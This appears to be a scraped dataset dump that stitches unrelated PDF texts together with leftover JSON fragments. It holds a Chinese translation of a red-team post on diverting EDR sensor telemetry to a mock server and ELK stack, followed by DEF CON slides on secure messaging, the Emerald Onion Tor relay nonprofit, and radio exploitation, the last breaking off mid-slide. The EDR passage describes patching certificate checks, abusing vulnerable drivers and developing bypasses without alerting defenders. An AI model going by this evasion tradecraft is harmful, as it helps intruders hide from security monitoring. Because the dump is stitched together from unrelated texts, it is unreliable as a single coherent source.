PsSetCreateProcessNotifyRoutine . 这个驱动会从它接收到的数据产生\n一个事件，用户模式的服务器将从驱动收到它，以便它能够发送到产品服务器。\n你应该花点时间来验证下被服务和驱动组件公开的IPC进程间通信机制。也就是说，这儿没有增加更多\n专门使用于AV/EDR产品的东西。IPC机制能够广泛地跨产品和操作系统。在Windows上，某些例子如：\ncustom service control codes, COM objects, and IOCTL dispatch functions.\n总结\n从传感器侦察程序，你可以获取很多信息，是否它影响进一步研究或者在目标上访问OPSEC。当处于目\n标系统上时，检测使用的产品然后解析它配置，提供一些有用的东西能够影响你下一步。站在研究角\n度，日志和字符串一直提供了一个好的切入点供调查的途径。在后续文章中太露技术时，推断传感器的\n架构和IPC机制会给你带来坚实的基础。\n下一篇： next post 将会讨论如何转义EDR的遥测到专用基础设施，以便你可以看到在开发bypass传感\n器时看到的内容（没有引起defenders注意。）\n第三部分\n转移EDR遥测到私有基础设施\n正如我在介绍中提及到的，在这个系列中对象之一就是在实验室环境下不需要使用产品控制台就能够访\n问到遥测。对于我来说，这是个改变游戏，因为我们能够使用事件数据作为一个回溯来进行“排练”攻击\n然后开发bypasses--并没有给防守者小费（解释bypass含义）。它就像拥有一个私有的VT但是是为EDR\n而不是AV。(Telemetry遥测只有EDR具备，AV没有那么自动化或者智能化)。\n这个想法并不是完全的小说化。它已经有可能拥有一个相似的实验建设，遥测从免费的工具（像\nSysmon和osquery）收集数据，但是能够从你使用的具体的EDR产品中私密的收集遥测，从而提供了\n无法比较的更高额外的精准度。例如，某些产品内置了检测，如果某个行为触发了警报，它将能够提前\n知道。\n值得强调的是获取传感器遥测访问没有必要告诉你什么会被检测到。尽管一些产品对传感器建立了一定\n程度的检测逻辑（像上述展示的），但是很多的检测规则将在服务端被应用。例如，如果PowerShell \n被IE派生，传感器将产生子进程创建遥感数据，并且如果它考虑了这个行为，服务端/云可能会产生一次\n检测。通过在本文中这种方法，基于服务端检测你不需要获取权限，但是你将获取流入检测的每个产生\n的事件的权限。\n一般的做法\n在传感器外部检测EDR事件数据时，涉及一些编码并且这有多种方法来实现这个任务。这取决于你想要\n你的代码和EDR保持兼容的程度，反之，就是EDR应该和你的代码保持兼容的程度。\n一方面，你可以写一个模仿产品服务器功能的模拟服务器。如此，你可以简单的更改传感器的配置来指\n向你的模拟服务器而不是原来那个，从那收集事件。另一方面，你可以添加插件/补丁给传感器代码来\ndump你期望的格式的事件。有时，这两者都涉及。\n我推荐开始使用这种方法，这是最简单的方法就是写POC。(proof of concept)。好处就是在项目管道\n中其他相关的任务不会被阻止。之后，你就可以回来看性能提升和稳定性是在哪里实现的。我更喜欢的\n是写一个模拟服务器，因为，虽然前期需要花费更多的事件，但是长期来看，涉及到更少的补丁在一些\n脆弱性的产品上，它更容易保持。\n捕获和解析原始的遥测\n一个共同的起点是发现获取原始事件的地点和如何解析它们。一些产品在磁盘上以数据库文件或者临时\n档案存储了事件的缓存，而其他的仅仅在内存中存储那些缓冲。如何事件在磁盘上是可访问的，然后值\n得调查的是不通过传统的步骤来写一个模拟服务器或者更改传感器你是否能够获取数据。从一个非预期\n的进程访问事件缓冲区，可以加密存储或者触发篡改警报，因此可能要注意这些潜在的障碍--尤其是在\n研究阶段，你可能处于“被发现”的位置时。\n一旦你有权访问事件缓冲区，下一步就是反序列化它们。事件能够被序列化，人类可读的格式（例如 \nJSON）或者二进制（例如 ProtoBuf）,但是我注意到通常大多数是后者。模式丰富的二进制格式可提高\n效率，但是当字段名称丢失时，它们来带来了一个附加的模糊层。如果一个公共的二进制格式正在被使\n用，可执行传感器可能将会有关于那一个正在被使用的线索。关于它们怎样在字节层被结构化是值得读\n的。 reading up\n此阶段会严重延迟资源匮乏的开发者的工作，它们无法访问事件模式。记录原始序列化缓存到私有的\nSIEM\n将无法进行有效的分析，因此这种模式在某种程度上需要被覆盖。依赖产品，你可能变得很幸运然后发\n现这个在线模式online，或者能够从传感器的二级制里面提取他们，或者使用文档手册 documentation\n手动重建它们。在那个例子中，OSSEM 项目有几种产品的 数字字典\n案例和回顾\n这有一组虚构的场景来说明被捕获并且解析EDR遥测的步骤。\n场景1：\n通过一个 HTTPS本地服务器，传感器被配置定期地每分钟检测。每次它发送事件，包含遥测的文件被拖\n放到磁盘上，上传的请求接收到一个200响应码之后，然后删除。\n文件结构表示一系列的ProtoBuf 对象，但是没有架构是公开可用的。幸运的是，ProtoBuf文件描述符\n仍然嵌入在二进制中，使用 PBTK工具仍然能够提取出来。随着事件结构恢复，在它们被删除之前通过\n读拖到磁盘上的文件，或者通过指定传感器到一个模拟服务器记录下接收被上传的文件，事件本身能够\n被取回。\n场景2：\n这个传感器通过一个安全的WebSocket连接到一台基于云硬编码的端点，然后事件被持续的流向它。他\n们也被缓存在一台加密的SQLite数据库。关于事件架构和重建它们繁琐的手工过程，一些文件资料是可\n用的。\n随着大多数架构恢复，从先前的情况，一个类似的决策点是接收事件缓冲。一个可选的是决定怎样解密\n数据库，然后轮询新的事件。另一个选项是写一个模拟WebSocket服务器来接收事件。看到正如默认传\n感器连接是硬编码的，做些修改指向它到你的服务器然后绕过证书校验。\n回顾下，你应该问问你自己下列这些问题什么时候捕获原始的EDR遥测。\n这些可以帮助你决定下一行动或者其他调查途径：\n遥测被缓存到磁盘上还是内存中？\n如果在磁盘上，它可能是数据库文件，临时文件，或者“无文件”？\n如果在内存中，怎么从内存中提取或者写到模拟服务器？\n产品提供了一个对话框机制来查询遥测吗？\n在被反序列化之前，缓冲需要被解密或者反混淆吗？\n它们是怎样序列化的？(例如 ProtoBuf,JSON,Bond,custom)\n事件类型的架构是否可用？如果没有，它们能否被恢复？\n实施一个模拟服务器\n所有的EDR产品都会发送事件到一台服务器，然后写一台模拟服务器能够允许你以这种方式（它们更倾\n向于被产品本身的服务器端组件接收）接收事件。这个方法可能不值得没有给产品，但是我很喜欢讨论\n它，因为在某些情况下更有意义。\n从传感器接收一个连接\n实施一个模拟服务器的第一步就是考虑EDR是否允许连接到本地服务器(on-premise servers)或者严格\n的仅仅限于云管理。本地服务器本身就允许改变配置，指向你的模拟服务器而不是通过更改配置文件或\n者使用诊断工具。云管理服务器通常需要更多的精力。在云场景中，可以选择修改主机文件--假设传感\n器检测到异常(anomaly)没有退回到一个硬编码地址的IP列表。\n一些传感器也强制执行证书固定。如果一台服务器细节是可配置的，然后这可能可以选择来替换存储的\n证书然后使用你自己的。如果没有配置选项存在（例如云管理传感器），那么值得自信阅读二进制中关\n于如何验证证书信息的。一些产品可能只验证CN，因此你可以调整自签名来使其适配。其他产品可能\n验证完整的证书，能够通过破解二进制来解决。例如，执行验证的函数能够被破解，总是返回true.\n协议认证和分析\n现在你可以建立一个连接了，你能够执行分析被导入的APIs或者库来考虑是否有一个正在被使用的公共\n的网络协议（例如 HTTP,WebSocket）或者自定义协议。\n如果HTTPS被使用了，你可以写一个小的python脚本来请求了idea 这样：\n这些请求的内容类型也应该被考虑。（例如 JSON，ProtoBuf）如果一个二进制序列化格式被使用，你\n可以进一步分析传感器来看看是否有嵌入式描述符能够解析缓冲区数据，成为人类可以读懂的格式。\n下面的代码接收通过 WebSocket连接并且不需要一个模式解析编码ProtoBuf消息。（protobuf-\ninspector）\nimport ssl\nfrom http.server import HTTPServer, SimpleHTTPRequestHandler\nhttpd = HTTPServer(('0.0.0.0', 443), SimpleHTTPRequestHandler)\nhttpd.socket = ssl.wrap_socket(httpd.socket, server_side=True, \ncertfile='cert.pem')\nhttpd.serve_forever()\n127.0.0.1 - - [27/Feb/2020 10:45:12] \"POST /register HTTP/1.1\" 200 -\n127.0.0.1 - - [27/Feb/2020 10:45:14] \"POST /check-in HTTP/1.1\" 200 -\n127.0.0.1 - - [27/Feb/2020 10:45:59] \"POST /submit-events HTTP/1.1\" 200 -\n127.0.0.1 - - [27/Feb/2020 10:46:14] \"POST /check-in HTTP/1.1\" 200 -\n127.0.0.1 - - [27/Feb/2020 10:47:14] \"POST /check-in HTTP/1.1\" 200 -\n127.0.0.1 - - [27/Feb/2020 10:47:29] \"POST /submit-events HTTP/1.1\" 200 -\n127.0.0.1 - - [27/Feb/2020 10:48:14] \"POST /check-in HTTP/1.1\" 200 -\nfrom asyncio import get_event_loop\nfrom datetime import datetime\nfrom io import BytesIO\nfrom websockets import serve\n# Using https://github.com/mildsunrise/protobuf-inspector.\nfrom lib.types import StandardParser\n# Load ProtoBuf parser.\np = StandardParser()\np.types['Message'] = {}\nasync def handler(websocket, path):\n data = await websocket.recv()\n print(f'Received message at {datetime.now().isoformat()}.')\n print(p.safe_call(p.match_handler('message'), BytesIO(data), 'Message'))\nserver = serve(handler, 'localhost', 8765)\n传感器-服务器流程\n现在可以接收和解析来此传感器的消息，你将从一个正常的服务器模仿响应以便于你可以接收遥测。\n在传感器和服务器之间一个经典的流程可能是这样：\n依赖于产品，在传感器注册服务器时，这通常会有一个初始化请求，让服务器知道传感器是在线的。\n在服务器响应确认或者任务后，传感器将周期性或持续基础开始发送事件。服务器通常将响应确认（例\n如 一个简单的 204，或者一个关联ID。）\n代理工具像Fiddler 或 tcpprox能够被用来审查合法的请求和响应以便于模拟服务器能更精确地适应仿真\n响应。如果使用代理是不可行的，可以在响应被解密后在传感器设置一个断点。\n例子和回顾\n这儿有一些虚构的场景来说明实施一个模拟服务器的步骤：\n场景1：该产品建立了到本地服务器的连接并且它们的URLs可以通过注册表进行配置。由于URL表示\nHTTPS，因此可以实例化一个python服务器来收集请求。模拟服务器的证书也可以在注册表指定来满足\n证书校验规定。事件被周期性地以HTTP POST请求 ZIP文件上传，在过滤之后，它们能够被作为\nProtoBuf消息解析。通过204响应码为确认。\nget_event_loop().run_until_complete(server)\nget_event_loop().run_forever()\nReceived message at 2020-03-06T19:01:49.817219.\nMessage:\n 1 <varint> = 1\n 2 <varint> = 2\n 3 <varint> = 3\n 4 <chunk> = bytes (738)\n 0000 1F 8B 08 00 1D 75 A0 5F 89 40 89 93 93 5E A2 69 .....u._...T[o.0\n 0010 7D 1D 5D 6C 81 B1 37 8A 14 A0 15 38 85 5E EF 59 ..+(.K.K.;}KoZ..\n 0020 BB 8F 82 76 68 7F 3E 57 0B 24 F7 B6 A2 10 41 A3 Uk.h...u+.4.lg0.\n ...\n场景2：默认，此产品连接到一台云服务器但是诊断工具可以被用来指向它到另一台服务器并且允许使\n用自签名证书。粗略分析配置和导入的库表明使用了WebSocket协议。在证书检测禁用情况下，解密的\nWebSocket流量能够在Fiddler上被预览，使用了ProtoBuf序列化消息。服务器通过一个任务的可选数\n组来响应传感器的初始化请求。发送的事件通过ProtoBuf消息返回的关联性IDs被确认。\n场景3: 此产品仅仅能在连接到一台被硬编码在二进制中的云服务器并且没有配置选项。传感器设置断点\n表明一个自定义协议正在被使用。证书检验通过破解二进制被破解。服务器通过会话token响应传感器\n的初始化请求。发送的事件通过消息返回的关联性IDs被确认。\n回顾，你应该问问你自己下面的问题，在实施一台模拟服务器时。\n这些能够帮助你考虑下一步行动或者其他调查途径：\n能否建设连接到一台可配置的本地服务器或者硬编码服务器？\n能否通过改变配置或者诊断工具对传感器进行修改吗？\n如果有二进制补丁需求，那种方法最不容易被破解？\n如果补丁在内核模式，应该怎么应用（例如 滥用虫洞驱动程序?）\n是否正在从服务可执行或驱动程序处建立连接？\n可以使用代理(例如 Burp,Fiddler)对连接进行内省吗？\n哪一种访问协议被使用了？(HTTPS,WSS,custom w/ TLS)\nTLS证书怎样才能已验证，有可能使用自签名证书吗？\n这些证书校验如何bypass?\n用这个服务器初始化邮服看上去怎么样？\n怎样能接收事件确认（例如 200OK 返回相关ID）?\n配置弹性栈\n现在你有一台模拟服务器，它可以接收反序列化遥测，你可以发送事件到你私有的SIEM。\n在这个场景中，我正在使用弹性栈(ELK),因为它是一个免费的流行的选择。警告是合理的，因为在此项\n目之前我没有使用过ELK，我仍然是新手。\n日志存储\n日志存储，ELK中的L，能够被用来摄取日志。在我的设置中，我配置了一台HTTP 监听器用来接受JSON\n数据。模拟服务器将从传感器接收事件，反序列化它们，转换成JSON数据然后发送它们到日志存储监\n听器。在下面的配置中，增加了一对过滤来映射事件时间戳并且移除外来的HTTP头。\ninput {\n http {\n host => \"0.0.0.0\"\n port => 8080\n }\n}\nfilter { \n mutate {\n remove_field => \"headers\"\n }\n date {\n match => [\"unix_timestamp\", \"UNIX\"]\n }\n}\noutput {\n elasticsearch {\nKibana\n随着事件通过日志存储运行，你可以创建一个索引在Kibana然后观察事件滚动。\n在相当多的事件被导入后，你可以考虑在设置页面，首页刷新这个栏目列表。\n在发现页面内，你可以发起查询例如下面的来查看最近的命令和它们的父进程。你也可以指定进程查询\n事件列表然后使用这个来获取EDR关于你植入物的细粒度视图。\n每一个植入物行为能够被测试来考虑它们生成了什么事件并且它们任何的组合是否会被导入检测。关于\n这个一个重要的警告是你通常不会获取任何自定义服务器端在传感器层检测查询的权限，但是你将能够\n看到原始事件流向它们。\n你也可以增加一个面板来创建可视化，例如这个展示了一段事件内事件类型的细分并标记了篡改事件。\n hosts => [\"localhost:9200\"]\n index => \"events\"\n }\n}\n这儿有很多机会来挖掘数据然后了解在给定系统上看起来正常的东西。这个将在下一篇文章Blending in \ntechniques被进一步讨论。\n概要\n下面的顺序图总结了在本文中以一个更高水平被讨论的方法。对于一些传感器，它能够合乎时宜地使用\n事件轮询机制，从一台数据库文件或者临时文件获取新的事件。提取的事件会被运送到日志存储以便于\n数据能够通过Kibana被查询。\n对于其他的传感器，写一台模拟服务器能够是更稳固的方法。传感器将被重新配置发送遥测到模拟服务\n器，转发，到日志存储。\n在一些案例中内核驱动修改的点会合适的重路由遥测到你的模拟服务器。然后下面的图可能更适合。\n通读需要很长的时间，恭喜你坚持了下来同时谢谢你花时间来阅读它。在能够转移遥测到私有基础设施\n的目标下，我们复习下获取传感器遥测的过程。实现这一目标为开发返回环路奠定了基础。允许我们发\n现融合的，滥用盲点和传感器篡改的技术。请继续关注将来重点关注这些主题的帖子。\n如果你有任何的反馈，问题或者注意任何错误，请ping我。"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":63,"cells":{"text":{"kind":"string","value":"Secure Messaging \nFor Normal People\nDEFCON 23\n2\nMessages\n3\nThreats\n4\nTransport Layer Security\n5\nEnd-to-End Encryption\n6\nEnd to End Server Matchmaking\n7\nEvil Server\n8\nTransitive Trust\n9\nMetadata Collection"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":64,"cells":{"text":{"kind":"string","value":"Privacy Infrastructure: \nChallenges and Opportunities\nby @yawnbox of @EmeraldOnion for #defcon26\nhttps://emeraldonion.org/\nWashington State nonprofit registration\nJune 5, 2017\n$50\nWashington State nonprofit date of incorporation\nJune 15, 2017\nn/a\nARIN ASN and IPv6 (/36) registration\nJune 26, 2017\n$1,050\nIRS EIN registration\nJune 28, 2017\nfree\nDatacenter move in and Tor relay start\nJuly 2, 2017\n$600\nARIN IPv4 (/24) request\nJuly 10, 2017\nfree\nARIN IPv4 registration approval\nJuly 19, 2017\nfree\nIRS 501(c)3 application\nOctober 11, 2017\n$275\nIRS 501(c)3 approval \nOctober 27, 2017\nn/a\nstarting up\nhttps://emeraldonion.org/articles/\nWashington State nonprofit registration\nJune 5, 2017\n$50\nWashington State nonprofit date of incorporation\nJune 15, 2017\nn/a\nARIN ASN and IPv6 (/36) registration\nJune 26, 2017\n$1,050\nIRS EIN registration\nJune 28, 2017\nfree\nDatacenter move in and Tor relay start\nJuly 2, 2017\n$600\nARIN IPv4 (/24) request\nJuly 10, 2017\nfree\nARIN IPv4 registration approval\nJuly 19, 2017\nfree\nIRS 501(c)3 application\nOctober 11, 2017\n$275\nIRS 501(c)3 approval \nOctober 27, 2017\nn/a\nstarting up\nhttps://emeraldonion.org/arin/\nAutonomous System Number \n(ASN)\n396507\nARIN Policy 4.10:\nDedicated IPv4 block to facilitate IPv6 Deployment\nWhen ARIN receives its last /8 IPv4 allocation from IANA, a contiguous /10 IPv4 block will be set aside and dedicated to \nfacilitate IPv6 deployment. Allocations and assignments from this block must be justified by immediate IPv6 deployment \nrequirements. Examples of such needs include: IPv4 addresses for key dual stack DNS servers, and NAT-PT or NAT464 \ntranslators. ARIN staff will use their discretion when evaluating justifications.\nThis block will be subject to a minimum size allocation of /28 and a maximum size allocation of /24. ARIN should use sparse \nallocation when possible within that /10 block.\nIn order to receive an allocation or assignment under this policy:\n1.\nthe applicant may not have received resources under this policy in the preceding six months;\n2.\nprevious allocations/assignments under this policy must continue to meet the justification requirements of this policy;\n3.\nprevious allocations/assignments under this policy must meet the utilization requirements of end user assignments;\n4.\nthe applicant must demonstrate that no other allocations or assignments will meet this need;\n5.\non subsequent allocation under this policy, ARIN staff may require applicants to renumber out of previously allocated / \nassigned space under this policy in order to minimize non-contiguous allocations.\nhttps://www.arin.net/policy/nrpm.html#four10\nWashington State nonprofit registration\nJune 5, 2017\n$50\nWashington State nonprofit date of incorporation\nJune 15, 2017\nn/a\nARIN ASN and IPv6 (/36) registration\nJune 26, 2017\n$1,050\nIRS EIN registration\nJune 28, 2017\nfree\nDatacenter move in and Tor relay start\nJuly 2, 2017\n$600\nARIN IPv4 (/24) request\nJuly 10, 2017\nfree\nARIN IPv4 registration approval\nJuly 19, 2017\nfree\nIRS 501(c)3 application\nOctober 11, 2017\n$275\nIRS 501(c)3 approval \nOctober 27, 2017\nn/a\nstarting up\nWashington State nonprofit registration\nJune 5, 2017\n$50\nWashington State nonprofit date of incorporation\nJune 15, 2017\nn/a\nARIN ASN and IPv6 (/36) registration\nJune 26, 2017\n$1,050\nIRS EIN registration\nJune 28, 2017\nfree\nDatacenter move in and Tor relay start\nJuly 2, 2017\n$600\nARIN IPv4 (/24) request\nJuly 10, 2017\nfree\nARIN IPv4 registration approval\nJuly 19, 2017\nfree\nIRS 501(c)3 application\nOctober 11, 2017\n$275\nIRS 501(c)3 approval \nOctober 27, 2017\nn/a\nstarting up\nWashington State nonprofit registration\nJune 5, 2017\n$50\nWashington State nonprofit date of incorporation\nJune 15, 2017\nn/a\nARIN ASN and IPv6 (/36) registration\nJune 26, 2017\n$1,050\nIRS EIN registration\nJune 28, 2017\nfree\nDatacenter move in and Tor relay start\nJuly 2, 2017\n$600\nARIN IPv4 (/24) request\nJuly 10, 2017\nfree\nARIN IPv4 registration approval\nJuly 19, 2017\nfree\nIRS 501(c)3 application\nOctober 11, 2017\n$275\nIRS 501(c)3 approval \nOctober 27, 2017\nn/a\nstarting up\nhttps://emeraldonion.org/irs-1023ez/\nWashington State nonprofit registration\nJune 5, 2017\n$50\nWashington State nonprofit date of incorporation\nJune 15, 2017\nn/a\nARIN ASN and IPv6 (/36) registration\nJune 26, 2017\n$1,050\nIRS EIN registration\nJune 28, 2017\nfree\nDatacenter move in and Tor relay start\nJuly 2, 2017\n$600\nARIN IPv4 (/24) request\nJuly 10, 2017\nfree\nARIN IPv4 registration approval\nJuly 19, 2017\nfree\nIRS 501(c)3 application\nOctober 11, 2017\n$275\nIRS 501(c)3 approval \nOctober 27, 2017\nn/a\nstarting up\nhttps://emeraldonion.org/development/\nJuly 2017 - July 2018\n~3.5 Pebibytes Rx/Tx of mostly Tor exit traffic\n~3,100 complaints sent to abuse@emeraldonion.org\n3.5 * 1000 / 3100 = ~1.129 TB transited per abuse complaint\n2 subpoenas sent to admin@emeraldonion.org\n3.5 * 1000 / 2 = ~1,750 TB transited per subpoena\nhttps://emeraldonion.org/faq/\nhttps://emeraldonion.org/legal-responses-to-tor-abuse-complaints/\nhttps://emeraldonion.org/transparency/\ndata center\nInsurance\n• commercial general liability insurance\n• business property protection insurance\n• professional liability insurance\n$100 /mo\nOur own server hardware\n$2,000\nCo-location service contract @ 5U, 2 amps\n$200 /mo\nIP transit service contract @ 1 Gbps\n$400 /mo\nInternet Exchange connectivity @ 10 GbE\n$2,000\ndata center\nInsurance\n• commercial general liability insurance\n• business property protection insurance\n• professional liability insurance\n$100 /mo\nOur own server hardware\n$2,000\nCo-location service contract @ 5U, 2 amps\n$200 /mo\nIP transit service contract @ 1 Gbps\n$400 /mo\nInternet Exchange connectivity @ 10 GbE\n$2,000\ndata center\nInsurance\n• commercial general liability insurance\n• business property protection insurance\n• professional liability insurance\n$100 /mo\nOur own server hardware\n$2,000\nCo-location service contract @ 5U, 2 amps\n$200 /mo\nIP transit service contract @ 1 Gbps\n$400 /mo\nInternet Exchange connectivity @ 10 GbE\n$2,000\ndata center\nInsurance\n• commercial general liability insurance\n• business property protection insurance\n• professional liability insurance\n$100 /mo\nOur own server hardware\n$2,000\nCo-location service contract @ 5U, 2 amps\n$200 /mo\nIP transit service contract @ 1 Gbps\n$400 /mo\nInternet Exchange connectivity @ 10 GbE\n$2,000\ndata center\nInsurance\n• commercial general liability insurance\n• business property protection insurance\n• professional liability insurance\n$100 /mo\nOur own server hardware\n$2,000\nCo-location service contract @ 5U, 2 amps\n$200 /mo\nIP transit service contract @ 1 Gbps\n$400 /mo\nInternet Exchange (IX) connectivity @ 10 GbE\n$2,000\nSafe Crossing\nsafecrossing@emeraldonion.org\nincome\nTor Servers grant\n$5,000\nDirect donations (directors)\n$9,800\nDirect donations (public)\n$1000\nDuckDuckGo Privacy Challenge\n$10,800\nPayPal Giving Campaign\n$1,100\nhttps://emeraldonion.org/donate/\nchallenges\nIP Transit costs\nOpen source networking hardware\nNetwork redundancy costs\nIPv4 scopes\nhttps://blog.torproject.org/get-help-running-your-relay-our-new-advocate\nTor Project Relay Advocate\nColin \"Phoul\" Childs\ncolin@torproject.org"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":65,"cells":{"text":{"kind":"string","value":"RADIO EXPLOITATION 101\nMATT KNIGHT // MARC NEWLIN // BASTILLE NETWORKS\nCHARACTERIZING//CONTEXTUALIZING//CLASSIFYING RF ATTACKS\nOFFENSIVE WIRELESS \nTECHNIQUES \nPHY && MAC LAYERS\nMOBILE\nIoT\nand\nmeans\nWIRELESS TECH IS \nDIVERSE AND INCUMBENT\nATTACK SURFACES \nGALORE\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nWHO ARE THESE GUYS\n▸ Matt Knight \n▸ Software Engineer and Security Researcher @ \n▸ Reverse engineered the LoRa wireless protocol in 2016 \n▸ BE & BA from Dartmouth
\n▸ Marc Newlin \n▸ Security Researcher @ \n▸ Discovered Mousejack vulnerability in 2016 \n▸ Finished 3rd in DARPA Spectrum Challenge in 2012 \n▸ Finished 2nd in DARPA Shredder Challenge in 2010\nmatt@ .net \n@embeddedsec\nmarc@ .net \n@marcnewlin\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nAGENDA\n1. Historical retrospective of wired and wireless security tech development \n2. Key RF concepts \n3. Methods of Wireless Exploitation \n‣ Techniques, impact, and defenses \n‣ Analogues to wired networks \n‣ Examples and demos (do it live!) \n4. How to apply this information\nEVOLUTION OF NETWORK SECURITY\nHISTORICAL BACKGROUND\nhttps://frostedpress.files.wordpress.com/2016/09/4286297.png\n1990s\nPacket sniffing in the\n802.3\n802.5\nProtocols:\nhttp://s202976374.onlinehome.us/ebay/test_equip/analyzers/Dolch_PAC_64_05.jpg\nNETWORK GENERAL PACKET SNIFFER\n$8,000+ (in 1990s dollars)\nInstalled on a Dolch lunchbox computer\nhttp://s202976374.onlinehome.us/ebay/test_equip/analyzers/Dolch_PAC_64_05.jpg\nNETWORK GENERAL PACKET SNIFFER\n$8,000+ (in 1990s dollars)\nInstalled on a Dolch lunchbox computer\n! PROPRIETARY\n1998\nPacket sniffing in\nETHEREAL // WIRESHARK\n$0\nhttps://blog.wireshark.org/wp-content/uploads/2013/10/ethereal-0.2.0.png\nETHEREAL // WIRESHARK\n$0\nhttps://blog.wireshark.org/wp-content/uploads/2013/10/ethereal-0.2.0.png\n\" COMMODITY\n2000s\nPacket sniffing since the\nLTE-M\nGPS\n802.5\n802.11\nWiMax\nEnocean\nDMR\n802.3\nHSPA\nLTE\nCDMA\nGSM\nBluetooth\nBluetooth LE\nZ-Wave\n802.15.4\nGPRS\nEDGE\nDECT\nLoRa\nSIGFOX\n802.16\nnRF24\nNB-IoT\nProtocols:\nTONS OF WIRELESS\nEARLY SDRS\n>>$100K\nEARLY SDRS\n>>$100K\n! PROPRIETARY\n2012\nWireless sniffing in\nRTL 2832 USB STICK\n$8\n(not pictured: promiscuous mode driver)\nRTL 2832 USB STICK\n$8\n(not pictured: promiscuous mode driver)\n#\n2017\nWireless sniffing in\nALL THE SDRS\n$8 -> $1150\nhttps://www.nuand.com/blog/wp-content/uploads/2013/05/DSC0063.png\nhttps://www.ettus.com/product/details/UB210-KIT\nhttps://cdn.sparkfun.com//assets/parts/9/9/5/3/13001-04.jpg\nhttps://cdn.itead.cc/media/catalog/product/i/m/im141027001_5__1.jpg\nhttp://www.nooelec.com/store/media/catalog/product/cache/1/image/1200x/040ec09b1e35df139433887a97daa66f/n/e/nesdr_mini_1b.jpg\nhttps://www.ettus.com/content/images/USRP_B200mini_Front_Diagonal_Large.png\nALL THE SDRS\n$8 -> $1150\nhttps://www.nuand.com/blog/wp-content/uploads/2013/05/DSC0063.png\nhttps://www.ettus.com/product/details/UB210-KIT\nhttps://cdn.sparkfun.com//assets/parts/9/9/5/3/13001-04.jpg\nhttps://cdn.itead.cc/media/catalog/product/i/m/im141027001_5__1.jpg\nhttp://www.nooelec.com/store/media/catalog/product/cache/1/image/1200x/040ec09b1e35df139433887a97daa66f/n/e/nesdr_mini_1b.jpg\nhttps://www.ettus.com/content/images/USRP_B200mini_Front_Diagonal_Large.png\n\" COMMODITY\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nWIRELESS IN 2017\n▸ 802.11 is just one piece of the puzzle \n▸ Explosion of IoT and Mobile means… \n▸ There’s a PHY for every use case \n▸ Embedded systems are everywhere\nhttp://postscapes.com/internet-of-things-technologies\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nEMBEDDED == DESIGN BY COMPROMISE\n▸ Battery powered \n▸ Limited user interaction \n▸ Lack of crypto \n▸ Unsuitable pipes for firmware updates \n▸ Performance, UX, cost, and delivery \nare more important than best practices\nhttps://www.thestar.com/content/dam/thestar/yourtoronto/the_fixer/2013/11/08/cyclists_cant_trip_the_light_if_the_sensor_doesnt_work/the_fixer.jpg.size.custom.crop.867x650.jpg\nLiteral embedded systems\n(or is it Compromised by Design?)\nSECURITY THROUGH \nOBSCURITY\nIndustry reliance on\nmeans…\n[PIÑATAS]\nSO WHAT DOES IT TAKE…\n…TO HACK WIRELESS\nhttps://www.youtube.com/watch?v=LY8Wi7XRXCA\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nIP NETWORK SNIFFING IS EASY\n▸ Interfacing with an IP network is trivial \n▸ Commodity NICs \n▸ Monitor mode
\n▸ Known Layer 2 // MAC frame protocols \n▸ 802.3 // Ethernet for wired IP traffic \n▸ 802.11 // Wi-Fi for wireless IP traffic\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nWIRELESS* NETWORK SNIFFING IS HARD\n▸ Network interface is totally non-trivial \n▸ Your Wi-Fi NIC can’t sniff wireless traffic \nfrom your home security system
\n▸ Arbitrary Layer 1 // PHYs \n▸ There are many ways to make a PHY \n▸ 802.11 // Wi-Fi is just one example
\n▸ How does one speak arbitrary RF?\n*non-802.11\nSOFTWARE \nDEFINED RADIO\nEnter…\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nSOFTWARE DEFINED RADIO (SDR)\n▸ Board with flexible wideband RF frontend \n▸ Captures raw radio spectrum \n▸ Shuttles RF I/Q samples to DSP or host \n▸ Implement arbitrary PHYs in: \n▸ Software \n▸ FPGA HDL\nFast iteration!\nFlexible!\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nSDR DOWNSIDES\n▸ Requires: \n▸ Lots of computing power, power hungry \n▸ Complex and esoteric domain knowledge \n▸ Left: RTL for one of Matt’s 802.15.4 decoders \n▸ To learn about SDR and PHYs: \n▸ “So You Want to Hack Radios” series from \nShmoocon, Troopers, and HITB2017AMS\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nOPEN SOURCE SOFTWARE RADIO\n▸ Vibrant open-source SDR community
\n▸ GNU Radio \n▸ Modular signal processing framework \n▸ Abstracts away hard math
\n▸ Ossmann and Balint’s video tutorials \n▸ Wireless Village here at DEF CON\nRF CONCEPTS\nGROSSLY SIMPLIFIED\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nPHYSICAL LAYER (PHY)\n▸ Lowest layer in communication stack
\n▸ In wired protocols: 1s and 0s defined in \nvoltage, timing, and wiring \n▸ In wireless: patterns of energy being \nsent over RF medium\nhttp://www.tech-faq.com/wp-content/uploads/2009/01/osimodel.png\nTime\nFrequency\nPower (z-axis)\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nMANIPULATING RF\n▸ … is done with a radio
\n▸ Hardware defined \n▸ Software defined radio (SDR) \n▸ Modulation \n▸ Function: how digital values are mapped to \nRF energy\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW TRANSMITTING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\nhttp://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png\nMAC Frame\nHW Addresses\nSequence Number\n(other stuff)\nLayer 3 Frame\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW TRANSMITTING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\nhttp://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png\nMAC Frame\nHW Addresses\nSequence Number\n(other stuff)\nLayer 3 Frame\nMAC Frame\nAPI Call\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW TRANSMITTING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\nhttp://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png\nMAC 